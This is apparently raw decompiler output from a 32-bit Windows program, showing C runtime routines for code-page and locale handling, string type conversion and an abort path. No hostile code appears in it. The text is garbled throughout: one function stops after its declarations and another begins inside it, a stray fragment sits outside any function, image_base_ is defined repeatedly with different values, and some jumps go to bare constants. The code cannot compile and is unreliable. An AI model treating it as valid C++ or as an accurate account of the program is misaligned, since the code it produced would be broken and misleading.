*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
eax15 = fun_4060e8(ecx12, v13, v10, v8, v7, a2, a3, a4, a5, a6);
v16 = reinterpret_cast<void**>(34);
goto addr_406b58_14;
} else {
*reinterpret_cast<int16_t*>(reinterpret_cast<uint32_t>(ecx12 +
reinterpret_cast<unsigned char>(a3) * 2) - 2) = 0;
eax17 = reinterpret_cast<void**>(80);
goto addr_406b62_15;
}
}
addr_406baa_19:
*reinterpret_cast<void***>(edi20) = reinterpret_cast<void**>(0);
goto addr_406baf_23;
addr_406b88_22:
goto addr_406baf_23;
addr_406b4c_13:
*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
goto addr_406b51_4;
}
void** fun_407113(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26);
void** fun_4070de(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void** v23;
void** esi24;
void** edi25;
void** ebp26;
void** eax27;
void** eax28;
v23 = esi24;
eax27 = fun_407113(ecx, edi25, v23, ebp26, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22);
if (!eax27) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx + 4)) = a2;
*reinterpret_cast<void***>(ecx + 4) = *reinterpret_cast<void***>(ecx + 4) + 4;
eax28 = reinterpret_cast<void**>(0);
} else {
fun_406c46(ecx, a2, edi25, v23, ebp26, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
eax28 = eax27;
}
return eax28;
}
void** fun_4094e0(void** ecx, void** a2, void** a3, void** a4, void** a5);
void** fun_4095c0(void** a1, void* a2, void** a3, void** a4, int32_t a5, void* a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void* ebp13;
uint32_t eax14;
uint32_t v15;
void** ecx16;
void** v17;
void** esi18;
void** v19;
void** edi20;
void** v21;
void** edi22;
void** esi23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** eax30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** eax39;
void** v40;
void** edx41;
void** v42;
uint32_t ebx43;
void** ebx44;
void** v45;
int32_t eax46;
int32_t eax47;
int32_t eax48;
void** eax49;
void** edi50;
void** esi51;
void** edx52;
void** v53;
void** edi54;
void** v55;
int32_t eax56;
void** esi57;
int32_t eax58;
int32_t eax59;
void** v60;
void** v61;
void** edx62;
void** esi63;
void* ebx64;
void** cl65;
void** edi66;
int32_t eax67;
void** esi68;
int32_t eax69;
void** eax70;
void** eax71;
void** fun_4070b9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
int32_t v14;
int32_t esi15;
void** v16;
void** edi17;
void** edi18;
void** esi19;
void** v20;
void** v21;
void** eax22;
v13 = reinterpret_cast<void**>(__return_address());
v14 = esi15;
v16 = edi17;
edi18 = ecx;
esi19 = *reinterpret_cast<void***>(edi18);
while (esi19 != *reinterpret_cast<void***>(edi18 + 4)) {
v20 = *reinterpret_cast<void***>(esi19);
fun_406c46(ecx, v20, v16, *reinterpret_cast<void***>(&v14), v13, a2, a3, a4, a5, a6, a7,
a8, a9, a10, a11, a12);
ecx = v20;
esi19 = esi19 + 4;
}
v21 = *reinterpret_cast<void***>(edi18);
eax22 = fun_406c46(ecx, v21, v16, *reinterpret_cast<void***>(&v14), v13, a2, a3, a4, a5, a6,
a7, a8, a9, a10, a11, a12);
return eax22;
}
void fun_407385(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33) {
void** ebx34;
void** esi35;
void** edi36;
void** esi37;
void** ebx38;
void** ebp39;
int32_t ecx40;
void** edi41;
void** edi42;
void** esi43;
void* edi44;
void** ecx45;
int32_t edx46;
ebx34 = a2;
esi35 = ebx34 + 24;
fun_403de0(ecx, esi35, 0, 0x101, edi36, esi37, ebx38, ebp39, __return_address(), a2, a3, a4,
a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24,
a25, a26, a27, a28, a29, a30, a31, a32, a33);
*reinterpret_cast<void***>(ebx34 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebx34 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebx34 + 0x21c) = reinterpret_cast<void**>(0);
ecx40 = 0x101;
edi41 = ebx34 + 12;
*reinterpret_cast<void***>(edi41) = reinterpret_cast<void**>(0);
edi42 = edi41 + 4;
*reinterpret_cast<void***>(edi42) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi42 + 4) = reinterpret_cast<void**>(0);
esi43 = esi35 + 4 + 4 + 4;
edi44 = reinterpret_cast<void*>(0x416358 - reinterpret_cast<unsigned char>(ebx34));
do {
*reinterpret_cast<void***>(esi43) =
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi44) + reinterpret_cast<unsigned
char>(esi43));
++esi43;
--ecx40;
} while (ecx40);
ecx45 = ebx34 + 0x119;
edx46 = 0x100;
do {
*reinterpret_cast<void***>(ecx45) = *reinterpret_cast<void***>(reinterpret_cast<unsigned
char>(ecx45) + reinterpret_cast<uint32_t>(edi44));
++ecx45;
--edx46;
} while (edx46);
return;
}
struct s28 {
signed char[25] pad25;
unsigned char f19;
};
void** fun_4082aa(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20);
void** fun_409bbd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, int32_t a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15,
void** a16);
void** fun_405d20(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
struct s29 {
signed char[8] pad8;
void** f8;
};
struct s30 {
signed char[848] pad848;
uint32_t f350;
};
void** fun_408217(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13);
void** fun_4083c7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);
void fun_40cb10(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13);
void** fun_4082aa(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20) {
void*** esp21;
uint32_t eax22;
void** v23;
void** edi24;
void** esi25;
void** ebx26;
void** v27;
void** v28;
void** v29;
void** ecx30;
struct s29* v31;
void** eax32;
void** v33;
void** v34;
void** eax35;
signed char v36;
struct s30* v37;
void** ebx38;
void** ecx39;
uint32_t eax40;
void** esi41;
void** ecx42;
uint32_t eax43;
void** v44;
void** v45;
void** v46;
void** v47;
void** eax48;
void** v49;
void** v50;
void** v51;
void** v52;
void** ebp53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** eax61;
void** v62;
void** v63;
void** v64;
void** v65;
int32_t eax66;
esp21 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax22 = g416004;
v23 = reinterpret_cast<void**>(eax22 ^ reinterpret_cast<uint32_t>(esp21));
fun_405d20(esp21 + 0xffffffe8, a1, edi24, esi25, ebx26, v27, v28, v29);
ecx30 = a6;
if (!ecx30) {
ecx30 = v31->f8;
a6 = v31->f8;
}
eax32 = reinterpret_cast<void**>(0);
*reinterpret_cast<unsigned char*>(&eax32) = reinterpret_cast<uint1_t>(!!a7);
v33 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax32) * 8 + 1);
v34 = ecx30;
eax35 = reinterpret_cast<void**>(MultiByteToWideChar(v34, v33, a3, a4, 0, 0));
if (!eax35) {
addr_4083a1_4:
if (v36) {
v37->f350 = v37->f350 & 0xfffffffd;
}
} else {
ebx38 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax35) +
reinterpret_cast<unsigned char>(eax35));
ecx39 = ebx38 + 8;
eax40 = reinterpret_cast<unsigned char>(eax35) - (reinterpret_cast<unsigned
char>(eax35) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax35) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax35) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) < reinterpret_cast<unsigned
char>(ecx39)))));
if (!(reinterpret_cast<unsigned char>(ecx39) & eax40)) {
esi41 = reinterpret_cast<void**>(0);
goto addr_408362_8;
} else {
ecx42 = ebx38 + 8;
eax43 = eax40 - (eax40 + reinterpret_cast<uint1_t>(eax40 < eax40 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) < reinterpret_cast<unsigned
char>(ecx42)))) & reinterpret_cast<unsigned char>(ecx42);
ecx39 = ebx38 + 8;
if (eax43 > 0x400) {
v44 = reinterpret_cast<void**>(eax43 - (eax43 + reinterpret_cast<uint1_t>(eax43 <
eax43 + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) <
reinterpret_cast<unsigned char>(ecx39)))) & reinterpret_cast<unsigned char>(ecx39));
eax48 = fun_408217(v44, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v45, v46, v47);
esi41 = eax48;
ecx39 = v44;
if (!esi41) {
addr_40839a_11:
fun_4083c7(ecx39, esi41, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v49, v50,
v51, v52, eax35, v23, ebp53, __return_address(), a1, a2, a3);
goto addr_4083a1_4;
} else {
*reinterpret_cast<void***>(esi41) = reinterpret_cast<void**>(0xdddd);
goto addr_40835b_13;
}
} else {
fun_40cb10(ecx39, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26, v54, v55, v56);
esi41 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esp21 - 24 - 4 - 4 -
4 - 4 - 4 + 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4) - 4 + 4);
if (!esi41)
goto addr_40839a_11;
v34 = reinterpret_cast<void**>(0xcccc);
goto addr_40835b_13;
}
}
}
eax61 = fun_402f62(reinterpret_cast<unsigned char>(v23) ^
reinterpret_cast<uint32_t>(esp21), v57, v58, v59, v60, eax35, v23, ebp53);
return eax61;
addr_408362_8:
if (esi41 && (fun_403de0(ecx39, esi41, 0, ebx38, v34, v33, a3, a4, 0, 0, edi24, esi25, ebx26,
v62, v63, v64, v65, eax35, v23, ebp53, __return_address(), a1, a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20), eax66 =
reinterpret_cast<int32_t>(MultiByteToWideChar(ecx39, a6, 1, a3, a4, esi41, eax35, v34, v33,
a3, a4, 0, 0)), !!eax66)) {
GetStringTypeW(ecx39, a2, esi41, eax66, a5, a6, 1, a3, a4, esi41, eax35, v34, v33, a3, a4,
0, 0);
goto addr_40839a_11;
}
addr_40835b_13:
esi41 = esi41 + 8;
goto addr_408362_8;
}
void** fun_4099a0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, int32_t a10);
struct s31 {
signed char[848] pad848;
uint32_t f350;
};
void** fun_409bbd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, int32_t a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15,
void** a16) {
int32_t v17;
void*** ebp18;
void** ecx19;
void** v20;
void** v21;
void** v22;
void** v23;
void** ebp24;
void** eax25;
signed char v26;
struct s31* v27;
v17 = reinterpret_cast<int32_t>(__return_address());
ebp18 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx19 = reinterpret_cast<void**>(ebp18 + 0xfffffff0);
fun_405d20(ecx19, a1, v20, v21, v22, v23, ebp24, *reinterpret_cast<void***>(&v17));
eax25 = fun_4099a0(ecx19, ebp18 + 0xfffffff4, a2, a3, a4, a5, a6, a7, a8, a9);
if (v26) {
v27->f350 = v27->f350 & 0xfffffffd;
}
return eax25;
}
void** fun_40769d(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);
void** fun_40773f(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(88);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(88);
void** fun_40757e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15) {
void** v16;
void** v17;
void** ebp18;
void*** ebp19;
void** v20;
void** v21;
void** v22;
void** eax23;
void** v24;
void** v25;
void** v26;
void** eax27;
void** v28;
void** v29;
void** ebx30;
void** v31;
void** esi32;
void** v33;
void** edi34;
void** v35;
void** eax36;
void** edi37;
void** ecx38;
void** esi39;
int32_t ecx40;
void** esi41;
void** v42;
void** eax43;
void** eax44;
void** v45;
void** v46;
void** v47;
int1_t zf48;
void** v49;
void** v50;
void** eax51;
void** v52;
void** eax53;
v16 = reinterpret_cast<void**>(__return_address());
v17 = ebp18;
ebp19 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax23 = fun_40695e(ecx, v20, v21, v22, v17, v16, a2, a3, a4, a5, a6, a7);
v24 = eax23;
fun_40769d(ecx, v25, v26, v24, v17, v16, a2, a3, a4, a5, a6, a7);
eax27 = fun_407312(a2);
v28 = eax27;
if (eax27 != *reinterpret_cast<void***>(*reinterpret_cast<void***>(v24 + 72) + 4)) {
v29 = ebx30;
v31 = esi32;
v33 = edi34;
eax36 = fun_408217(0x220, v33, v31, v29, v28, v35, v24, v17, v16, a2, a3, a4, a5);
edi37 = eax36;
ecx38 = reinterpret_cast<void**>(0x220);
if (!edi37) {
addr_4075f3_3:
esi39 = reinterpret_cast<void**>(0xffffffff);
} else {
ecx40 = 0x88;
esi41 = *reinterpret_cast<void***>(v24 + 72);
while (ecx40) {
--ecx40;
*reinterpret_cast<void***>(edi37) = *reinterpret_cast<void***>(esi41);
edi37 = edi37 + 4;
esi41 = esi41 + 4;
}
edi37 = eax36;
*reinterpret_cast<void***>(edi37) = reinterpret_cast<void**>(0);
eax43 = fun_40773f(v28, edi37, v33, v31, v29, v28, v42, v24, v17, v16, a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);
esi39 = eax43;
ecx38 = edi37;
if (!reinterpret_cast<int1_t>(esi39 == 0xffffffff))
goto addr_407605_8; else
goto addr_4075e8_9;
}
} else {
eax44 = reinterpret_cast<void**>(0);
goto addr_407601_11;
}
addr_4075f5_12:
fun_406c46(ecx38, edi37, v33, v31, v29, v28, v45, v24, v17, v16, a2, a3, a4, a5, a6, a7);
eax44 = esi39;
addr_407601_11:
return eax44;
addr_407605_8:
if (!*reinterpret_cast<signed char*>(&a3)) {
fun_40563c(ecx38);
}
__asm__("lock xadd [eax], ebx");
if (!1 && *reinterpret_cast<void***>(v24 + 72) != 0x416358) {
v46 = *reinterpret_cast<void***>(v24 + 72);
fun_406c46(ecx38, v46, v33, v31, v29, v28, v47, v24, v17, v16, a2, a3, a4, a5, a6, a7);
}
*reinterpret_cast<void***>(edi37) = reinterpret_cast<void**>(1);
ecx38 = edi37;
edi37 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(v24 + 72) = ecx38;
if (!(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(v24 + 0x350)) & 2) && ((zf48
= (*reinterpret_cast<unsigned char*>(&g4166a0) & 1) == 0, zf48) && (v28 =
reinterpret_cast<void**>(ebp19 + 0xfffffffc), v49 = reinterpret_cast<void**>(ebp19 + 0xfffffff4),
fun_4071e8(5, v49, v33, v31, v29, v28, v50, v24, v17, v16, a2, a3, a4, a5, a6, a7), ecx38 = v49,
!!*reinterpret_cast<signed char*>(&a3)))) {
eax51 = image_base_;
image_base_ = eax51;
goto addr_4075f5_12;
}
addr_4075e8_9:
eax53 = fun_4060e8(ecx38, v33, v31, v29, v28, v52, v24, v17, v16, a2);
*reinterpret_cast<void***>(eax53) = reinterpret_cast<void**>(22);
goto addr_4075f3_3;
}
void** g416edc;
void** fun_40773f(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24) {
void** v25;
void** v26;
void** ebp27;
void*** ebp28;
uint32_t eax29;
void** v30;
void** v31;
void** ebx32;
void** v33;
void** esi34;
void** esi35;
void** eax36;
void** ebx37;
void** v38;
void** edi39;
void** edi40;
void** ecx41;
void** eax42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** eax57;
void** v58;
void** eax59;
void** ecx60;
void* edx61;
void* eax62;
void** eax63;
void** ecx64;
void*** edx65;
int32_t edi66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** eax72;
void** v73;
void** v74;
void** v75;
int1_t zf76;
void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
void** v85;
void** v86;
void** v87;
void** v88;
void** v89;
signed char v90;
void* edx91;
void* ecx92;
unsigned char* eax93;
int32_t ecx94;
void** v95;
void** eax96;
void** edi97;
void** edi98;
v25 = reinterpret_cast<void**>(__return_address());
v26 = ebp27;
ebp28 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax29 = g416004;
v30 = reinterpret_cast<void**>(eax29 ^ reinterpret_cast<uint32_t>(ebp28));
v31 = ebx32;
v33 = esi34;
esi35 = a2;
eax36 = fun_407312(a1);
ebx37 = eax36;
if (ebx37) {
v38 = edi39;
edi40 = reinterpret_cast<void**>(0);
ecx41 = reinterpret_cast<void**>(0);
eax42 = reinterpret_cast<void**>(0);
v43 = reinterpret_cast<void**>(0);
do {
if (*reinterpret_cast<void***>(eax42 + 0x416060) == ebx37)
break;
++ecx41;
eax42 = eax42 + 48;
v43 = ecx41;
} while (reinterpret_cast<unsigned char>(eax42) < reinterpret_cast<unsigned char>(0xf0));
goto addr_407797_5;
} else {
fun_407385(a1, esi35, v33, v31, v44, v45, v46, v47, v48, v49, v50, v30, v26, v25, a1, a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19);
goto addr_407920_7;
}
fun_403de0(ecx41, esi35 + 24, 0, 0x101, v38, v33, v31, v51, v43, v52, v53, v54, v55, v56,
v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22, a23, a24);
eax57 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(v43) * 48);
v58 = eax57;
eax59 = eax57 + 0x416070;
v43 = eax59;
do {
ecx60 = eax59;
if (*reinterpret_cast<void***>(eax59)) {
do {
if (!*reinterpret_cast<void***>(ecx60 + 1))
break;
edx61 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60))));
eax62 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60 + 1))));
while (reinterpret_cast<uint32_t>(edx61) <= reinterpret_cast<uint32_t>(eax62) &&
reinterpret_cast<uint32_t>(edx61) < 0x100) {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(edx61) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(edx61) + 25) | *reinterpret_cast<unsigned char*>(edi40 +
0x41605c));
edx61 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edx61) + 1);
eax62 = reinterpret_cast<void*>(static_cast<uint32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx60 + 1))));
}
ecx60 = ecx60 + 2;
} while (*reinterpret_cast<void***>(ecx60));
eax59 = v43;
}
++edi40;
eax59 = eax59 + 8;
v43 = eax59;
} while (reinterpret_cast<unsigned char>(edi40) < reinterpret_cast<unsigned char>(4));
*reinterpret_cast<void***>(esi35 + 4) = ebx37;
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(1);
eax63 = fun_4072d4(ebx37, v38, v33);
*reinterpret_cast<void***>(esi35 + 0x21c) = eax63;
ecx64 = esi35 + 12;
edx65 = reinterpret_cast<void***>(v58 + 0x416064);
edi66 = 6;
do {
edx65 = edx65 + 2;
*reinterpret_cast<void***>(ecx64) = *edx65;
ecx64 = ecx64 + 2;
--edi66;
} while (edi66);
addr_407916_19:
fun_4073ea(esi35);
addr_40791c_20:
addr_40791f_21:
addr_407920_7:
eax72 = fun_402f62(reinterpret_cast<unsigned char>(v30) ^
reinterpret_cast<uint32_t>(ebp28), v58, v43, v67, v68, v69, v70, v71);
return eax72;
addr_407797_5:
if (ebx37 == 0xfde8)
goto addr_40786b_22;
if (ebx37 == 0xfde9)
goto addr_40786b_22;
v73 = reinterpret_cast<void**>(static_cast<uint32_t>(*reinterpret_cast<uint16_t*>(&ebx37)));
eax42 = reinterpret_cast<void**>(IsValidCodePage());
if (!eax42)
goto addr_40786b_22;
v74 = reinterpret_cast<void**>(ebp28 + 0xffffffe8);
v75 = ebx37;
eax42 = reinterpret_cast<void**>(GetCPInfo(v75, v74));
if (!eax42) {
zf76 = g416edc == 0;
if (zf76) {
addr_40786b_22:
goto addr_40791f_21;
} else {
fun_407385(ecx41, esi35, v75, v74, v73, v38, v33, v31, v77, v43, v78, v79, v80, v81,
v82, v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);
goto addr_40791c_20;
}
} else {
fun_403de0(ecx41, esi35 + 24, 0, 0x101, v75, v74, v73, v38, v33, v31, v83, v43, v84, v85,
v86, v87, v88, v30, v26, v25, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15,
a16, a17, a18, a19, a20, a21);
*reinterpret_cast<void***>(esi35 + 4) = ebx37;
*reinterpret_cast<void***>(esi35 + 0x21c) = reinterpret_cast<void**>(0);
if (reinterpret_cast<unsigned char>(v89) <= reinterpret_cast<unsigned char>(1)) {
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(0);
} else {
if (v90) {
do {
if (!*reinterpret_cast<unsigned char*>(&v30 + 1))
break;
edx91 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&v30 + 1)));
ecx92 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&v30)));
while (reinterpret_cast<uint32_t>(ecx92) <= reinterpret_cast<uint32_t>(edx91)) {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(ecx92) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi35) +
reinterpret_cast<uint32_t>(ecx92) + 25) | 4);
ecx92 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ecx92) + 1);
}
} while (*reinterpret_cast<unsigned char*>(&v30 + 2));
}
eax93 = reinterpret_cast<unsigned char*>(esi35 + 26);
ecx94 = 0xfe;
do {
*eax93 = reinterpret_cast<unsigned char>(*eax93 | 8);
++eax93;
--ecx94;
} while (ecx94);
v95 = *reinterpret_cast<void***>(esi35 + 4);
eax96 = fun_4072d4(v95, v75, v74);
*reinterpret_cast<void***>(esi35 + 0x21c) = eax96;
*reinterpret_cast<void***>(esi35 + 8) = reinterpret_cast<void**>(1);
}
edi97 = esi35 + 12;
*reinterpret_cast<void***>(edi97) = reinterpret_cast<void**>(0);
edi98 = edi97 + 4;
*reinterpret_cast<void***>(edi98) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi98 + 4) = reinterpret_cast<void**>(0);
esi35 = esi35 + 4 + 4 + 4;
goto addr_407916_19;
}
}
int32_t g416dc4;
tmp32_2 = g416dc4;
g416dc4 = 1;
return tmp32_2;
}
void fun_4071a5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25);
void fun_4071e8(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16) {
void*** ebp17;
void** v18;
void** ebp19;
zf13 = g416ee0 == 0;
if (zf13) {
fun_40757e(ecx, 0xfd, 1, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
g416ee0 = 1;
}
return 1;
}
void** fun_40769d(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** esi14;
int32_t ebp15;
void** eax16;
void** edi17;
void** ecx18;
int32_t ebp19;
int32_t ebp20;
int1_t zf21;
void** eax22;
int32_t ebp23;
int32_t ebp24;
v13 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x4149e8, 12, v13);
esi14 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebp15 - 28) = reinterpret_cast<void**>(0);
eax16 = fun_40695e(ecx, 0x4149e8, 12, v13, a2, a3, a4, a5, a6, a7, a8, a9);
edi17 = eax16;
ecx18 = g4166a0;
if (!(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi17 + 0x350)) &
reinterpret_cast<unsigned char>(ecx18)) || !*reinterpret_cast<void***>(edi17 + 76)) {
while (1) {
fun_407a92(ecx18, 5);
ecx18 = reinterpret_cast<void**>(5);
*reinterpret_cast<void***>(ebp19 - 4) = esi14;
esi14 = *reinterpret_cast<void***>(edi17 + 72);
*reinterpret_cast<void***>(ebp20 - 28) = esi14;
zf21 = esi14 == image_base_;
if (!zf21) {
if (esi14 && (!1 && esi14 != 0x416358)) {
fun_406c46(5, esi14, 0x4149e8, 12, v13, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12);
ecx18 = esi14;
}
eax22 = image_base_;
*reinterpret_cast<void***>(edi17 + 72) = eax22;
esi14 = image_base_;
*reinterpret_cast<void***>(ebp23 - 28) = esi14;
*reinterpret_cast<void***>(esi14) = *reinterpret_cast<void***>(esi14) + 1;
}
*reinterpret_cast<int32_t*>(ebp24 - 4) = -2;
fun_40772e(ecx18);
addr_4076cb_7:
if (esi14)
break;
fun_405ccd(ecx18, 0x4149e8, 12, v13, a2, a3, a4);
}
fun_4038f0(ecx18, 0x4149e8, 12, v13, a2);
goto 0x4149e8;
} else {
esi14 = *reinterpret_cast<void***>(edi17 + 72);
goto addr_4076cb_7;
}
}
void fun_405ccd(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int32_t eax8;
int1_t zf9;
int32_t eax10;
void** v11;
void** eax12;
void** esi13;
void** ebp14;
void** eax15;
void** eax16;
void** eax17;
eax8 = fun_408a71(ecx);
if (eax8) {
fun_408acc(ecx, 22, __return_address(), a2, a3, a4, a5, a6, a7);
ecx = reinterpret_cast<void**>(22);
}
zf9 = (g416040 & 2) == 0;
if (!zf9) {
eax10 = fun_40c86c(ecx, 23, __return_address(), a2, a3);
if (eax10) {
ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, __return_address(), a2, a3);
}
fun_40559b(ecx, 3);
if (__return_address() && (v11 = g417250, eax12 = reinterpret_cast<void**>(HeapFree(ecx,
v11, 0, __return_address())), !eax12)) {
eax15 = fun_4060e8(ecx, esi13, v11, 0, __return_address(), ebp14, 3, __return_address(),
a2, a3);
eax16 = reinterpret_cast<void**>(GetLastError(ecx));
eax17 = fun_40606f(ecx, eax16);
*reinterpret_cast<void***>(eax15) = eax17;
}
goto 3;
}
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xcc);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xd8);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0xe4);
/* (image base) */
